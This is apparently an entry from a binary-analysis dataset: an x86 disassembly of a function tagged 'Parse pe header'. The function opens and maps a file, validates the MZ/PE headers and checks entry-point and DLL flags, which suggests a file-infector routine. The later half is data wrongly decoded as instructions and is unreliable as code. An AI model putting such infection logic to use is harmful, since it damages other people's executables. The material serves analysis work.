Function at 0x436d32
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec4
pushal
mov eax, esp
add eax, 0x1c
mov dword [ebp - 0x130], eax
push dword [ebp + 8]
call dword [ebx + 0x402404]
cmp eax, 0xffffffff
je 0x43724f
mov dword [ebp - 0x14], eax
push 0x80
push dword [ebp + 8]
call dword [ebx + 0x40240c]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [ebx + 0x402400]
cmp eax, 0xffffffff
je 0x437235
mov dword [ebp - 4], eax
push eax
call dword [ebx + 0x402428]
cmp eax, 1
jne 0x43722a
push 0
push dword [ebp - 4]
call dword [ebx + 0x40241c]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 4]
call dword [ebx + 0x402420]
push 0
push 0
push 0
push 4
push 0
push dword [ebp - 4]
call dword [ebx + 0x402410]
or eax, eax
je 0x437215
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 6
push eax
call dword [ebx + 0x402414]
or eax, eax
je 0x43720c
mov dword [ebp - 0xc], eax
cmp word [eax], 0x5a4d
jne 0x437203
add eax, dword [eax + 0x3c]
cmp byte [eax], 0x50
jne 0x437203
cmp byte [eax + 1], 0x45
jne 0x437203
mov ecx, dword [eax + 8]
add ch, cl
cmp ch, 0xff
jne 0x436e3e
push eax
push 3
push dword [eax + 0x28]
push dword [ebp - 0xc]
call fcn.004372c5
mov al, byte [eax]
cmp al, 0xe8
je 0x436e3d
mov ch, 0
pop eax
cmp dword [eax + 0x4c], 0
jne 0x4371f7
cmp ch, 0xff
je 0x4371f7
bt dword [eax + 0x16], 0xd
jb 0x437203
push 3
call fcn.004376b0
or edx, edx
jne 0x436e68
inc edx
mov dh, 0xff
sub dh, dl
mov dword [ebp - 0x134], edx
cmp dword [ebp + 0xc], 0
je 0x436e97
push dword [ebp - 4]
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call 0x43738f
mov eax, dword [ebp - 0x130]
mov dword [eax], 0xffffffff
jmp 0x4371f5
lea edi, [ebp - 0x12c]
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
push 0x1c
pop ecx
push ecx
push 0xfa
push edx
push eax
call 0x437260
or eax, eax
je 0x436f01
push eax
push 0
push eax
push dword [ebp - 0xc]
call fcn.004372c5
cmp eax, 0xffffffff
je 0x436eeb
mov ecx, eax
pop eax
push eax
pushal
add eax, edx
dec eax
push 0
push eax
push dword [ebp - 0xc]
call 0x436fc5
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add byte [edx + 0x2f], bl
mov edx, 0x2f4d30ba
add byte [edx + 0x31854e95], bh
dec ebp
add byte [ecx], 0x61
pop ecx
add byte [eax], al
add byte [eax], al
scasb al, byte es:[edi]
dec ebp
add byte [ecx], 0x61
pop ecx
add byte [eax], al
add byte [eax], al
and al, 0x8c
xchg dword [ecx], eax
add byte gs:[esi], ah
xor eax, 0x6a7c2b34
jne 0x436f5f
jae 0x436fbe
jbe 0x436f75
xor ah, byte [esi]
xor byte [esi], ah
sub esi, dword [esi]
xor eax, 0x246e2b25
sub ebp, dword [eax]
jne 0x436f73
aaa
cmp al, 0x36
cmp eax, 0x356a312d
and ch, byte [ebx]
jns 0x436f89
sbb ebx, dword [esi]
sub byte [0x20232f2b], dh
xor al, byte [edi*2 + 0x76737371]
jae 0x436fe0
popal
and bl, byte [eax]
xor al, 0x18
jg 0x436fe2
pushal
and esp, dword ss:[eax]
cmp eax, 0x393d2b33
jp 0x436ff8
jl 0x436ff7
push 0x68
imul ebx, dword [ecx], 0x27
and ch, byte [eax]
xor ebp, dword [edi]
xor byte [ecx], ch
and esi, dword [esp + ebp]
add eax, 0x34352677
sub edi, dword [edx + ebp*2 + 0x75]
cmp eax, 0x28303421
xor byte [edx], ah
je 0x43701a
jb 0x436fde
xor dword [edi + 0x36], ebp
xor dword [eax], esi
xor ch, byte [eax + 0x2c]
sub ch, byte [0xa9ce1037]
mov byte [ecx + 0xad25a5], 0
add byte [eax], al
push ds
les ebp, [esi + 0x56d5f]
das
add byte [edi], ch
add byte [edi], ch
add byte [edi], ch
add al, cl
invalid
xor al, byte [eax + eax]
add byte [eax], al
int3
enter 0xffffffffffffd6c6, 0x62
add eax, 0x2d54ae00
pop eax
add byte [eax], al
add byte [edx + 0x5505ef6], bh
add al, cl
invalid
invalid
xor byte [ecx - 0x38], cl
invalid
adc eax, 0x2f002f
mov edx, 0x561d9d6
add byte [edi], ch
add byte [edx + 0x561d9d6], bh
add byte [esi + ecx*2], bl
invalid
xor byte [esi + 4], al
scasb al, byte es:[edi]
cdq
xchg byte [ebp], ch
add byte [eax], al
push ds
les ebp, [esi + 0x56f2f]
invalid
das
add byte [ebp - 0x4545415e], ch
into
cmp dword [ecx + 0x49], esp
lds edi, [edx + 0x67]
xor byte [edx + 0x2f], dl
inc esp
add al, byte [edx]
into
mov dl, 0x2f
sbb eax, 0x4400fc
add byte [edi + 0x283ea23], dh
mov ebx, 0xc548ae00
jp 0x4372be
scasb al, byte es:[edi]
dec eax
lds edi, [edx + 0x6a]
xor byte [ecx - 0x52], al
arpl word [esi - 0x31ffd0bf], bp
mov dl, 0x2f
inc esi
adc esi, dword [esi - 0x7b]
lodsd eax, dword [esi]
mov ebx, 0xc6babaab
mov ebp, 0x2f4d31ba
add byte [ebx], dl
lodsd eax, dword [esi]
invalid
salc
sub eax, 0xce000561
invalid